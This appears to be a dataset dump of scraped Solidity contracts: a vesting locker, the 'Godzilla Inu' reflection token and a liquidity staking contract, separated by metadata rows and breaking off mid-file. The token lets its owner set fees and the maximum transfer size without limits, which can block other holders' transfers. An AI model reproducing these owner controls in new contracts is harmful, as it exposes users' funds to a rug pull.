function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IMdgLocker {
function totalLock() external view returns (uint256);
function lockOf(address _account) external view returns (uint256);
function released(address _account) external view returns (uint256);
function canUnlockAmount(address _account) external view returns (uint256);
function lock(address _account, uint256 _amount) external;
function unlock() external;
}
contract MdgLocker is IMdgLocker {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public mdg = address(0xC1eDCc306E6faab9dA629efCa48670BE4678779D);
uint256 public startReleaseBlock;
uint256 public endReleaseBlock;
uint256 private _totalLock;
mapping(address => uint256) private _locks;
mapping(address => uint256) private _released;
event Lock(address indexed to, uint256 value);
constructor(address _mdg,
uint256 _startReleaseBlock,
uint256 _endReleaseBlock) public {
require(_endReleaseBlock > _startReleaseBlock, "endReleaseBlock < startReleaseBlock");
mdg = _mdg;
startReleaseBlock = _startReleaseBlock;
endReleaseBlock = _endReleaseBlock;
}
function totalLock() external view override returns (uint256) {
return _totalLock;
}
function lockOf(address _account) external view override returns (uint256) {
return _locks[_account];
}
function released(address _account) external view override returns (uint256) {
return _released[_account];
}
function lock(address _account, uint256 _amount) external override {
require(block.number < startReleaseBlock, "no more lock");
require(_account != address(0), "no lock to address(0)");
require(_amount > 0, "zero lock");
IERC20(mdg).safeTransferFrom(msg.sender, address(this), _amount);
_locks[_account] = _locks[_account].add(_amount);
_totalLock = _totalLock.add(_amount);
emit Lock(_account, _amount);
}
function canUnlockAmount(address _account) public view override returns (uint256) {
if (block.number < startReleaseBlock) {
return 0;
} else if (block.number >= endReleaseBlock) {
return _locks[_account].sub(_released[_account]);
} else {
uint256 _releasedBlock = block.number.sub(startReleaseBlock);
uint256 _totalVestingBlock = endReleaseBlock.sub(startReleaseBlock);
return _locks[_account].mul(_releasedBlock).div(_totalVestingBlock).sub(_released[_account]);
}
}
function unlock() external override {
require(block.number > startReleaseBlock, "still locked");
require(_locks[msg.sender] > _released[msg.sender], "no locked");
uint256 _amount = canUnlockAmount(msg.sender);
IERC20(mdg).safeTransfer(msg.sender, _amount);
_released[msg.sender] = _released[msg.sender].add(_amount);
_totalLock = _totalLock.sub(_amount);
}
}
| 253,127 | 13,657 |
03b13c9e809523d1bb4634b1cc9bfd4224c134ea6b7e32c1b6aa78fbf6e9c678
| 29,643 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/6c/6cdcFcD2Bc0a174CcB1F3bf0Db2C2D3BEc8CBa30_GodzillaInu.sol
| 5,204 | 18,745 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract GodzillaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Godzilla Inu';
string private constant _symbol = 'ZILLA';
uint256 private _taxFee = 0;
uint256 private _burnFee = 0;
uint public max_tx_size = 10000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xC94f2bdE446bf363cae6dC196FcC757B20Bc9917, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 316,942 | 13,658 |
0ef7901039b131bdd6962a78ce0cebf4b7ab2129b9aadabfbacb35c68bc01599
| 12,890 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xE2Ab6B204284B691ea0F245EE36C0928a24bCFFE/contract.sol
| 2,979 | 10,697 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address account, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Uniswap{
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function WETH() external pure returns (address);
}
interface Pool{
function owner() external view returns (address);
}
contract Poolable{
address payable internal constant _POOLADDRESS = 0x2ca1a56EEEfeCe776C17D1FDcd3a4c7bc05CDa5B; //pool
function primary() private view returns (address) {
return Pool(_POOLADDRESS).owner();
}
modifier onlyPrimary() {
require(msg.sender == primary(), "Caller is not primary");
_;
}
}
contract Staker is Poolable{
using SafeMath for uint256;
uint constant internal DECIMAL = 10**18;
uint constant public INF = 33136721748;
uint private _rewardValue = 10**21;
mapping (address => uint256) public timePooled;
mapping (address => uint256) private internalTime;
mapping (address => uint256) private LPTokenBalance;
mapping (address => uint256) private rewards;
mapping (address => uint256) private referralEarned;
address public Supr3Address;
address constant public UNIROUTER = 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F;
address constant public FACTORY = 0xBCfCcbde45cE874adCB698cC183deBcF17952812;
address public WETHAddress = Uniswap(UNIROUTER).WETH();
bool private _unchangeable = false;
bool private _tokenAddressGiven = false;
bool public priceCapped = false;
uint public creationTime = now;
receive() external payable {
if(msg.sender != UNIROUTER){
stake();
}
}
function sendValue(address payable recipient, uint256 amount) internal {
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
//If true, no changes can be made
function unchangeable() public view returns (bool){
return _unchangeable;
}
function rewardValue() public view returns (uint){
return _rewardValue;
}
//THE ONLY ADMIN FUNCTIONS
//After this is called, no changes can be made
function makeUnchangeable() public onlyPrimary{
_unchangeable = true;
}
//Can only be called once to set token address
function setTokenAddress(address input) public onlyPrimary{
require(!_tokenAddressGiven, "Function was already called");
_tokenAddressGiven = true;
Supr3Address = input;
}
//Set reward value that has high APY, can't be called if makeUnchangeable() was called
function updateRewardValue(uint input) public onlyPrimary {
require(!unchangeable(), "makeUnchangeable() function was already called");
_rewardValue = input;
}
//Cap token price at 1 eth, can't be called if makeUnchangeable() was called
function capPrice(bool input) public onlyPrimary {
require(!unchangeable(), "makeUnchangeable() function was already called");
priceCapped = input;
}
//THE ONLY ADMIN FUNCTIONS ^^^^
function sqrt(uint y) public pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
function stake() public payable{
require(creationTime + 3 hours <= now, "It has not been 3 hours since contract creation yet");
address staker = msg.sender;
address poolAddress = Uniswap(FACTORY).getPair(Supr3Address, WETHAddress);
if(price() >= (1.05 * 10**18) && priceCapped){
uint t = IERC20(Supr3Address).balanceOf(poolAddress); //token in pancakeswap
uint a = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in pancakeswap
uint x = (sqrt(9*t*t + 3988000*a*t) - 1997*t)/1994;
IERC20(Supr3Address).mint(address(this), x);
address[] memory path = new address[](2);
path[0] = Supr3Address;
path[1] = WETHAddress;
IERC20(Supr3Address).approve(UNIROUTER, x);
Uniswap(UNIROUTER).swapExactTokensForETH(x, 1, path, _POOLADDRESS, INF);
}
sendValue(_POOLADDRESS, address(this).balance/2);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in pancakeswap
uint tokenAmount = IERC20(Supr3Address).balanceOf(poolAddress); //token in pancakeswap
uint toMint = (address(this).balance.mul(tokenAmount)).div(ethAmount);
IERC20(Supr3Address).mint(address(this), toMint);
uint poolTokenAmountBefore = IERC20(poolAddress).balanceOf(address(this));
uint amountTokenDesired = IERC20(Supr3Address).balanceOf(address(this));
IERC20(Supr3Address).approve(UNIROUTER, amountTokenDesired); //allow pool to get tokens
Uniswap(UNIROUTER).addLiquidityETH{ value: address(this).balance }(Supr3Address, amountTokenDesired, 1, 1, address(this), INF);
uint poolTokenAmountAfter = IERC20(poolAddress).balanceOf(address(this));
uint poolTokenGot = poolTokenAmountAfter.sub(poolTokenAmountBefore);
rewards[staker] = rewards[staker].add(viewRecentRewardTokenAmount(staker));
timePooled[staker] = now;
internalTime[staker] = now;
LPTokenBalance[staker] = LPTokenBalance[staker].add(poolTokenGot);
}
function withdrawRewardTokens(uint amount) public {
require(timePooled[msg.sender] + 3 hours <= now, "It has not been 3 hours since you staked yet");
rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender));
internalTime[msg.sender] = now;
uint removeAmount = ethtimeCalc(amount);
rewards[msg.sender] = rewards[msg.sender].sub(removeAmount);
IERC20(Supr3Address).mint(msg.sender, amount);
}
function viewRecentRewardTokenAmount(address who) internal view returns (uint){
return (viewLPTokenAmount(who).mul(now.sub(internalTime[who])));
}
function viewRewardTokenAmount(address who) public view returns (uint){
return earnCalc(rewards[who].add(viewRecentRewardTokenAmount(who)));
}
function viewLPTokenAmount(address who) public view returns (uint){
return LPTokenBalance[who];
}
function viewPooledEthAmount(address who) public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(Supr3Address, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //BNB pancakeswap
return (ethAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply());
}
function viewPooledTokenAmount(address who) public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(Supr3Address, WETHAddress);
uint tokenAmount = IERC20(Supr3Address).balanceOf(poolAddress); //token pancakeswap
return (tokenAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply());
}
function price() public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(Supr3Address, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //BNB pancakeswap
uint tokenAmount = IERC20(Supr3Address).balanceOf(poolAddress); //token pancakeswap
return (DECIMAL.mul(ethAmount)).div(tokenAmount);
}
function ethEarnCalc(uint eth, uint time) public view returns(uint){
address poolAddress = Uniswap(FACTORY).getPair(Supr3Address, WETHAddress);
uint totalEth = IERC20(WETHAddress).balanceOf(poolAddress); //BNB pancakeswap
uint totalLP = IERC20(poolAddress).totalSupply();
uint LP = ((eth/2)*totalLP)/totalEth;
return earnCalc(LP * time);
}
function earnCalc(uint LPTime) public view returns(uint){
return (rewardValue().mul(LPTime)) / (31557600 * DECIMAL);
}
function ethtimeCalc(uint Supr3) internal view returns(uint){
return (Supr3.mul(31557600 * DECIMAL)).div(rewardValue());
}
}
| 255,006 | 13,659 |
853006b33a5654ce4da6dd849b8dfa3d60bf81a397ec5a5089a3e3abce7302ca
| 13,415 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/8559_8886_0x597ad1e0c13bfe8025993d9e79c69e1c0233522e.sol
| 3,466 | 13,206 |
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
